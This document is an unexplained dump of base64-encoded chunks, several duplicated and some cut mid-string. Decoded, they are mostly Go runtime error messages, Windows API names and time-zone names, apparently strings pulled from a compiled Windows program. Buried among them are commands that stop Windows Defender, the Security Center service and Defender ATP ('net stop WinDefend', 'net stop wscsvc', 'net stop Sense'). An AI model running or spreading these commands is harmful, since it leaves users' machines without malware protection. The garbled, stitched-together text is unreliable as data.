VwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVr10a:T558,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWdlIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZWVwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVrYQ==10b:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM=10c:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM710d:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4OA==10e:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4ODI=10f:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbA==110:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbHU=111:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmU=112:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmVw113:T554,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3VudCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdlbmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vIG1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xs114:T558,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3VudCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdlbmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vI